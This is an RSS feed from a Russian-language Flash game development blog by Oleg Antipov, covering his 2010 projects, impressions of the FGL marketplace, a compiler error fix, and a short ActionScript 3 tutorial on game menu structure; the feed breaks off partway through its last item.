<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Разработка flash игр</title>
	<atom:link href="http://www.anegmetex.com/devblog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anegmetex.com/devblog</link>
	<description>Всё для разработки флэш игр, полезные классы, статьи, уроки</description>
	<lastBuildDate>Mon, 23 Aug 2010 15:08:32 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Аппрув игры Fallen на ФГЛ</title>
		<link>http://www.anegmetex.com/devblog/2010/08/23/appruv-igry-fallen-na-fgl/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/23/appruv-igry-fallen-na-fgl/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 15:08:32 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Монетизация]]></category>
		<category><![CDATA[FGL]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=218</guid>
		<description><![CDATA[Игру заапрувили. 7.5 редакторский рейтинг и 9.4 рейтинг девелоперов. Второе место в &#8220;Developers&#8217; Favorites&#8221;  
Ещё раз убеждаюсь в гнилости системы оценок ФГЛ. А как попадают скриншоты и трейлеры на первые страницы соответствующих разделов это вообще тёмный лес. Почему то мои всегда стартуют с 4-5 страницы, а ведь иногда по ним спонсоры приходят&#8230; эх..
]]></description>
			<content:encoded><![CDATA[<p>Игру заапрувили. 7.5 редакторский рейтинг и 9.4 рейтинг девелоперов. Второе место в &#8220;Developers&#8217; Favorites&#8221; <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_cool.gif' alt='8-)' class='wp-smiley' /> </p>
<p>Ещё раз убеждаюсь в гнилости системы оценок ФГЛ. А как попадают скриншоты и трейлеры на первые страницы соответствующих разделов это вообще тёмный лес. Почему то мои всегда стартуют с 4-5 страницы, а ведь иногда по ним спонсоры приходят&#8230; эх..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/23/appruv-igry-fallen-na-fgl/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Игра про mr.Freeman-a</title>
		<link>http://www.anegmetex.com/devblog/2010/08/23/igra-pro-mr-freeman-a/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/23/igra-pro-mr-freeman-a/#comments</comments>
		<pubDate>Sun, 22 Aug 2010 23:42:36 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Релиз]]></category>
		<category><![CDATA[Проекты]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=215</guid>
		<description><![CDATA[В декабре прошлого года, перед тем как начать делать мега проект про Теда, я решил потренироваться и сбацать за пару дней простенький платформер с довольно известным в интернете персонажем mr.Freeman. Управился я всё же за три дня (один день полностью ушёл на перегонку в вектор оригинального графического контента), выложил ссылочку на парочке фанатских сайтов и [...]]]></description>
			<content:encoded><![CDATA[<p>В декабре прошлого года, перед тем как начать делать <a href="http://www.anegmetex.com/devblog/2010/08/10/trejjler-bezbashennogo-teda/">мега проект про Теда</a>, я решил потренироваться и сбацать за пару дней простенький платформер с довольно известным в интернете персонажем <a href="http://mf0.me/">mr.Freeman</a>. Управился я всё же за три дня (один день полностью ушёл на перегонку в вектор оригинального графического контента), выложил ссылочку на парочке фанатских сайтов и забыл про него.</p>
<p>В июне текущего уже года внезапно мне написал сам создатель фримана и предложил <span id="more-215"></span>разместить игрушку на его сайте. Я собсна согласился, прозрачно намекнув при этом, что за денюшку могу получше и интересней сделать, и выслал ему swf-ку без сайтлока. Не забыв естественно вставить в игру мочибот ))</p>
<p><img src="http://www.anegmetex.com/devblog/files/Freeman01.jpg" alt="freeman game screenshot" /></p>
<p>Прошла неделя, потом вторая, третья&#8230; игра всё на его сайте не появлялась и я решил что он забил походу. Какого же было моё удивление, когда сегодня я получил от него письмо с ссылкой на игру на его сайте ) Да, не прошло и года. Впрочем насчёт моего предложения о коммерческой игре он ничего не написал, но возможно ещё просто не пришло время <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Вообщем вот <a href="http://mf0.me/wps/2010/08/22/igra-ot-olega-antipova/">http://mf0.me/wps/2010/08/22/igra-ot-olega-antipova/</a></p>
<p>P.S. В комментах меня сходу назвали криворуким нубом и посоветовали сначала научится толком, а уж потом лезть делать flash игры. Забавно <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img src="http://www.anegmetex.com/devblog/files/Freeman02.jpg" alt="freeman game screenshot" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/23/igra-pro-mr-freeman-a/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Спид-проект за 4 дня &#8211; &#8220;Fallen&#8221;</title>
		<link>http://www.anegmetex.com/devblog/2010/08/18/spid-proekt-za-4-dnya-fallen/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/18/spid-proekt-za-4-dnya-fallen/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 19:00:06 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Разработка]]></category>
		<category><![CDATA[Проекты]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=210</guid>
		<description><![CDATA[
Я тут решил внезапно небольшой спид-проект замутить   Делаю пока четыре дня. Вообщем идея прожекта такова:

Ангел падает в пропасть, надо его беречь от столкновений с краями пропасти и препятствиями, а также надо собирать синенькие души и бонусы. Игра соответственно бесконечная из разряда кто-больше-очков-наберёт. Управление стрелочками или WASD. И всё это в довольно необычном сеттинге [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://anegmetex.com/flash/Fallen1.jpg" alt="создание флеш игр" /></p>
<p>Я тут решил внезапно небольшой спид-проект замутить <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Делаю пока четыре дня. Вообщем идея прожекта такова:<br />
<span id="more-210"></span><br />
Ангел падает в пропасть, надо его беречь от столкновений с краями пропасти и препятствиями, а также надо собирать синенькие души и бонусы. Игра соответственно бесконечная из разряда кто-больше-очков-наберёт. Управление стрелочками или WASD. И всё это в довольно необычном сеттинге <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Cсылка на саму игру: <a href="http://anegmetex.com/flash/Fallen.html">http://anegmetex.com/flash/Fallen.html</a></p>
<p><img src="http://anegmetex.com/flash/Fallen2.jpg" alt="разработка флэш ирушек" /></p>
<p>Был применен эффект блум, что для флеш большая редкость )) Также лабиринт генерируется случайным образом. Там пока не так много вариаций кусков – 15 штук. Думаю довести это количество до 30-40. В планах сделать интеллектуальную генерацию левела – по возрастанию сложности.</p>
<p><img src="http://anegmetex.com/flash/Fallen3.jpg" alt="разработка flash игр на AS3" /></p>
<p>Пишите письма aka комментарии <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/18/spid-proekt-za-4-dnya-fallen/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>First Impressions</title>
		<link>http://www.anegmetex.com/devblog/2010/08/15/first-impressions/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/15/first-impressions/#comments</comments>
		<pubDate>Sun, 15 Aug 2010 20:24:32 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Разработка]]></category>
		<category><![CDATA[FGL]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=208</guid>
		<description><![CDATA[Все знают про такую платную фичу ФГЛ, как First Impressions. Анонимусам даётся поиграться ваша игра минумум 5 минут, и они высказывают своё мнение по игре, ставя оценки по нескольким критериям. Т.к. после предыдущих повышений маркет левела мне было щедро подарено 15 FI, то я решил попробовать их использовать на своём проекте про Теда.

Собственно что можно [...]]]></description>
			<content:encoded><![CDATA[<p>Все знают про такую платную фичу ФГЛ, как First Impressions. Анонимусам даётся поиграться ваша игра минумум 5 минут, и они высказывают своё мнение по игре, ставя оценки по нескольким критериям. Т.к. после предыдущих повышений маркет левела мне было щедро подарено 15 FI, то я решил попробовать их использовать на своём проекте про Теда.<br />
<span id="more-208"></span><br />
Собственно что можно сказать по поводу ревьюверов… половина из них довольно странные личности, которых заботят весьма странные вещи. </p>
<p>Например товарищ WatchedTested поставил игре по параметру Fun – 4 бала из 10 с комментарием « There was no headshot or I couldn&#8217;t do it.». Прекрасно, нет хедшотов – всё, игра не интересная и фана в ней нет. Профессионально ничего не скажешь. Или вот товарищ FliedApology в особых заметках пишет “It loads really slow.“ Игра весит всего то 7 мегабайт, для такого проекта это весьма немного. Он рассчитывал что игра будет упакована в 50 килобайт что ли? Ещё один рецензент ставит параметру Fun – 6ку мотивируя « You could give some backstory before it starts, explaining why the man is shooting everyone.» отлично, если бы я добавил бы пару абзацев вначале игры он бы 10 поставил бы? </p>
<p>Есть вообще потрясающая рецензия, в которой выставлено всё в 10 и методично и сухо, как под копирку, описаны фичи игры. Причём в них значится управление транспортными средствами что собственно даже я в своей игре не заметил.</p>
<p>Ну и ещё одна рецензия мне запала в душу, по всем параметрам 3-4 выставлено с комментариями «Problem with controls A and D. It gets stuck and does not move sometimes.», « Problem with graphics. There are black flashes or lines appearing most of the time.» Как он добился такого я не знаю. Скорее всего проблемы с его браузером\плеером а не с игрой. Хоть бы скриншот приложил бы, иначе этот фидбек абсолютно бесполезен.</p>
<p>Есть конечно и нормальные рецензии, но их довольно мало (штуки 3, ну пускай 4) да и они содержат всего пару тройку фраз насчёт каждого пункта. Вообщем всестороннего рассмотрения проекта (которого я ожидал) я не получил.</p>
<p>И тем не менее:</p>
<p>Average Ease of Use:		8.1818<br />
Average Fun:			8.0000<br />
Average Graphics:		7.9091<br />
Average Sound:		        7.7000<br />
Average Polish:		        8.7273<br />
Average Minutes Played:	18.6364</p>
<p>6 место в списке «Games With High First Impressions Rating»</p>
<p>Что же сказать в итоге, стоит ли покупать эти самые First Impressions? Мой ответ – нет. Многие комментарии на форумах и от друзей содержательны и полезны во много раз больше. Да и бесплатны к тому же. </p>
<p>Такие дела.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/15/first-impressions/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Трейлер &#8220;Безбашенного Теда&#8221;</title>
		<link>http://www.anegmetex.com/devblog/2010/08/10/trejjler-bezbashennogo-teda/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/10/trejjler-bezbashennogo-teda/#comments</comments>
		<pubDate>Mon, 09 Aug 2010 22:56:24 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Разработка]]></category>
		<category><![CDATA[Проекты]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=206</guid>
		<description><![CDATA[Ну вот, наконец-то, после почти 7 месяцев разработки мясной аркадный шутер про простого парня Теда, который спасает свой город.. да возможно и весь мир от пришельцев, зомбаков и роботов, можно считать завершённым. Впереди поиск спонсоров и аукцион ФГЛ.
Сегодня (точнее уже вчера) собрал финальный трейлер проекта, который будет показываться спонсорам:

Надеюсь всё будет хорошо  
]]></description>
			<content:encoded><![CDATA[<p>Ну вот, наконец-то, после почти 7 месяцев разработки мясной аркадный шутер про простого парня Теда, который спасает свой город.. да возможно и весь мир от пришельцев, зомбаков и роботов, можно считать завершённым. Впереди поиск спонсоров и аукцион ФГЛ.</p>
<p>Сегодня (точнее уже вчера) собрал финальный трейлер проекта, который будет показываться спонсорам:</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/tO_colZH91Y&amp;hl=ru_RU&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/tO_colZH91Y&amp;hl=ru_RU&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Надеюсь всё будет хорошо <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/10/trejjler-bezbashennogo-teda/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Error 5005: Unknown error optimizing byte code</title>
		<link>http://www.anegmetex.com/devblog/2010/08/05/error-5005-unknown-error-optimizing-byte-code/</link>
		<comments>http://www.anegmetex.com/devblog/2010/08/05/error-5005-unknown-error-optimizing-byte-code/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 11:42:00 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Отладка]]></category>
		<category><![CDATA[Хитрости]]></category>
		<category><![CDATA[AS3]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=202</guid>
		<description><![CDATA[Иногда мне кажется что флеш пытается всеми силами воспрепятствовать завершению моего проекта )
Не успел я решить проблемы со сборщиком мусора как появилась новая напасть &#8211; при компиляции возникает ошибка &#8220;Error 5005: Unknown error optimizing byte code&#8221;. По описанию сразу становится понятно что ошибки в своём коде искать бесполезно&#8230;

В доках Адоба на этот счёт написано следующее [...]]]></description>
			<content:encoded><![CDATA[<p>Иногда мне кажется что флеш пытается всеми силами воспрепятствовать завершению моего проекта )<br />
Не успел я решить проблемы со сборщиком мусора как появилась новая напасть &#8211; при компиляции возникает ошибка &#8220;Error 5005: Unknown error optimizing byte code&#8221;. По описанию сразу становится понятно что ошибки в своём коде искать бесполезно&#8230;<br />
<span id="more-202"></span></p>
<p>В доках Адоба на этот счёт написано следующее &#8220;Extremely large Flash applications may compile incorrectly (Flash CS3, Flash CS4 Professional)&#8221;. Мой FLА проекта весит около 65 мегов, код экшн скрипта чтото около 500кб что вообщем то не так много. Решение от Адоба гениально &#8211; разбивайте на несколько SWF. Спасибо кэп!</p>
<p>Пришлось рыть весь интернет на предмет обходных манёвров. Вот полный список того, как предлагают лечить данную ошибку:</p>
<p>1. Убрать галочку с &#8220;Reduce file size and increase performance&#8221; в Publish Settings проекта (такое может и прокатит в CS3, но <a href="http://www.anegmetex.com/devblog/2010/04/18/kresh-flesh-pleera-a-vam-slabo/">я уже работаю в CS4</a>, а там такой галки нет)</p>
<p>2. Удалить ASO файлы &#8211; не помогло, т.к. их не было в директории проекта</p>
<p>3. File/Save and Compact &#8211; Тоже не помогло.</p>
<p>4. Увеличить память для java VM &#8211; А вот это помогло!)</p>
<p>Cуть последнего метода заключается в следующем:<br />
Открываем Мой компьютер\Свойства\Дополнительно<br />
Жмем кнопку Переменные среды\Системные переменные\Создать<br />
Задаём имя переменной <strong>JAVA_TOOL_OPTIONS</strong><br />
Устанавливаем значение переменной: <strong>-Xmx1024M</strong> или <strong>-Xmx512M</strong> или <strong>-Xmx256M</strong> или <strong>-Xmx128M</strong></p>
<p>Чем больше памяти выделим тем лучше, однако если флеш при компиляции начнёт ругаться сообщениями типа &#8220;Error initializing Java Runtime Environment. You may need to reinstall Flash.&#8221; надо просто поставить поменьше значение переменной. Мне помогло значение<strong>-Xmx256M</strong>.</p>
<p>Похоже изначально компилятор берёт слишком мало памяти и на большом проекте происходит переполнение при оптимизации байт-кода. Каким местом думали Адоб не понятно.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/08/05/error-5005-unknown-error-optimizing-byte-code/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cтруктура игры</title>
		<link>http://www.anegmetex.com/devblog/2010/07/16/ctruktura-igry/</link>
		<comments>http://www.anegmetex.com/devblog/2010/07/16/ctruktura-igry/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 09:17:59 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Хитрости]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=197</guid>
		<description><![CDATA[По запросу камрада In-Finity написал статью о том, как я организовываю структуру игры, как осуществляю переходы между менюшками и самой игрой.

Собственно сам пример минимального игрового приложения:

Обычно на главной линейке игра занимает у меня четыре кадра:

На первом кадре располагается прелоадер. Я уже здесь писал как его сделать, поэтому не буду повторятся. Единственное отличие заключается в том, [...]]]></description>
			<content:encoded><![CDATA[<p>По запросу камрада In-Finity написал статью о том, как я организовываю структуру игры, как осуществляю переходы между менюшками и самой игрой.<br />
<span id="more-197"></span><br />
Собственно сам пример минимального игрового приложения:</p>
<p><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="400" height="300"><param name=movie value="http://www.anegmetex.com/devblog/files/gameStruct.swf"><param name=quality value=high><embed src="http://www.anegmetex.com/devblog/files/gameStruct.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="400" height="300"></embed></object></p>
<p>Обычно на главной линейке игра занимает у меня четыре кадра:<br />
<img src="http://www.anegmetex.com/devblog/files/struct1.jpg" alt="разработка flash игр" /></p>
<p>На первом кадре располагается прелоадер. Я уже <a href="http://www.anegmetex.com/devblog/2009/12/05/sozdanie-preloadera-i-url-locked-flesh-igry/">здесь</a> писал как его сделать, поэтому не буду повторятся. Единственное отличие заключается в том, то в прелоадер я добавил кнопку Play.</p>
<p>Далее на втором и третьем кадре показываются Лого спонсора и мой Лого. Я делаю на разных кадрах потому, что часто приходится по просьбе спонсора убирать свой Лого <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>На четвёртом кадре лежит мовиклип Game в котором собственно и лежит вся игра.<br />
В тестовом примере в мовиклипе Game расположены клипы главного меню (menuMain), клип меню настроек (mеnuOptions), и клип самой игры (Level). К каждой из этих менюшек привязывается соответствующий класс. Все менюшки лежат на разных слоях чтобы их было удобно редактировать:</p>
<p><img src="http://www.anegmetex.com/devblog/files/struct2.jpg" alt="разработка flash игр" /></p>
<p>Обратите внимание я не использую вообще Document Class, т.к. он не особо то и нужен <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
В конструкторе класса Game.as задаётся какая из менюшек будет показана первой. В нашем случае это menuMain:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">package main 
<span style="color: #66cc66;">&#123;</span> 
     <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #0066CC;">MovieClip</span>; 
&nbsp;
     <span style="color: #0066CC;">dynamic</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Game <span style="color: #0066CC;">extends</span> <span style="color: #0066CC;">MovieClip</span> 
	 <span style="color: #66cc66;">&#123;</span> 
&nbsp;
		   <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Game<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> 
		   <span style="color: #66cc66;">&#123;</span>
			    <span style="color: #808080; font-style: italic;">//Показываем главное меню</span>
 				menuMainMC.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
				menuOptionsMC.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
				LevelMC.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
           <span style="color: #66cc66;">&#125;</span> 
&nbsp;
	 <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Конечно можно вместо visible=true и visible=false использовать removeChild и addChild, но я считаю это необоснованным геморроем. Кстати хочу обратить внимание что если вы используете в менюшке событие ENTER_FRAME то его слушатель стоит удалять при убирании менюшки с экрана, т.к. даже с visible=false событие ENTER_FRAME будет вызываться.</p>
<p>Далее пишем обработчик для главного меню menuMain.as:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">package main 
<span style="color: #66cc66;">&#123;</span> 
     <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #66cc66;">*</span>; 
	 <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
     <span style="color: #0066CC;">dynamic</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> menuMain <span style="color: #0066CC;">extends</span> <span style="color: #0066CC;">MovieClip</span> 
	 <span style="color: #66cc66;">&#123;</span> 
&nbsp;
			<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> menuMain<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> 
			<span style="color: #66cc66;">&#123;</span> 
				<span style="color: #808080; font-style: italic;">//Вешаем события на кнопки</span>
				buttNewMC.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, buttNewMC_Click<span style="color: #66cc66;">&#41;</span>;
				buttOptionsMC.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, buttOptionsMC_Click<span style="color: #66cc66;">&#41;</span>;
				buttMoreMC.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, buttMoreMC_Click<span style="color: #66cc66;">&#41;</span>;
&nbsp;
			<span style="color: #66cc66;">&#125;</span> 
&nbsp;
			<span style="color: #000000; font-weight: bold;">function</span> buttNewMC_Click<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span> : MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> 
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">//Прячем текущее меню, показываем уровень</span>
				<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
				Game<span style="color: #66cc66;">&#40;</span>parent<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">LevelMC</span>.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
			<span style="color: #66cc66;">&#125;</span>
&nbsp;
			<span style="color: #000000; font-weight: bold;">function</span> buttOptionsMC_Click<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span> : MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> 
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">//Прячем текущее меню, показываем меню настроек</span>
				<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
				Game<span style="color: #66cc66;">&#40;</span>parent<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">menuOptionsMC</span>.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
			<span style="color: #66cc66;">&#125;</span>
&nbsp;
			<span style="color: #000000; font-weight: bold;">function</span> buttMoreMC_Click<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span> : MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> 
			<span style="color: #66cc66;">&#123;</span>
			<span style="color: #66cc66;">&#125;</span>
&nbsp;
	 <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Слушатели кликов по кнопкам создаются в конструкторе класса.<br />
Код для меню настроек menuOptions.as:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">package main 
<span style="color: #66cc66;">&#123;</span> 
     <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #66cc66;">*</span>; 
	 <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
     <span style="color: #0066CC;">dynamic</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> menuOptions <span style="color: #0066CC;">extends</span> <span style="color: #0066CC;">MovieClip</span> 
	 <span style="color: #66cc66;">&#123;</span> 
&nbsp;
			<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> menuOptions<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> 
			<span style="color: #66cc66;">&#123;</span> 
			    <span style="color: #808080; font-style: italic;">//Вешаем события на кнопки</span>
				buttBackMC.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, buttBackMC_Click<span style="color: #66cc66;">&#41;</span>;
			<span style="color: #66cc66;">&#125;</span> 
&nbsp;
			<span style="color: #000000; font-weight: bold;">function</span> buttBackMC_Click<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span> : MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> 
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">//Прячем текущее меню, показываем главное меню</span>
				<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
				Game<span style="color: #66cc66;">&#40;</span>parent<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">menuMainMC</span>.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
			<span style="color: #66cc66;">&#125;</span>
	 <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Код для самой игры Level.as:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">package main 
<span style="color: #66cc66;">&#123;</span> 
     <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #66cc66;">*</span>; 
	 <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
     <span style="color: #0066CC;">dynamic</span> <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> <span style="color: #0066CC;">Level</span> <span style="color: #0066CC;">extends</span> <span style="color: #0066CC;">MovieClip</span> 
	 <span style="color: #66cc66;">&#123;</span> 
&nbsp;
			<span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">Level</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> 
			<span style="color: #66cc66;">&#123;</span> 
			    <span style="color: #808080; font-style: italic;">//Вешаем события на кнопки</span>
				buttBackMC.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, buttBackMC_Click<span style="color: #66cc66;">&#41;</span>;
			<span style="color: #66cc66;">&#125;</span> 
&nbsp;
			<span style="color: #000000; font-weight: bold;">function</span> buttBackMC_Click<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span> : MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> 
			<span style="color: #66cc66;">&#123;</span>
				<span style="color: #808080; font-style: italic;">//Прячем текущее меню, показываем главное меню</span>
				<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">false</span>;
				Game<span style="color: #66cc66;">&#40;</span>parent<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">menuMainMC</span>.<span style="color: #0066CC;">visible</span>=<span style="color: #000000; font-weight: bold;">true</span>;
			<span style="color: #66cc66;">&#125;</span>
	 <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>В классе Level и происходит сама игра. В нём создаются слушатели кнопок, мышки, событие ENTER_FRAME… и понеслась разработка очередного хита )</p>
<p>Исходник проекта можно качнуть здесь: <a href="http://www.anegmetex.com/devblog/files/gameStruct.rar">http://www.anegmetex.com/devblog/files/gameStruct.rar</a></p>
<p>Надеюсь новички вынесут из этого поста что-то полезное <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/07/16/ctruktura-igry/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Новая демка Теда</title>
		<link>http://www.anegmetex.com/devblog/2010/07/04/novaya-demka-teda/</link>
		<comments>http://www.anegmetex.com/devblog/2010/07/04/novaya-demka-teda/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 12:57:16 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Разработка]]></category>
		<category><![CDATA[Проекты]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=193</guid>
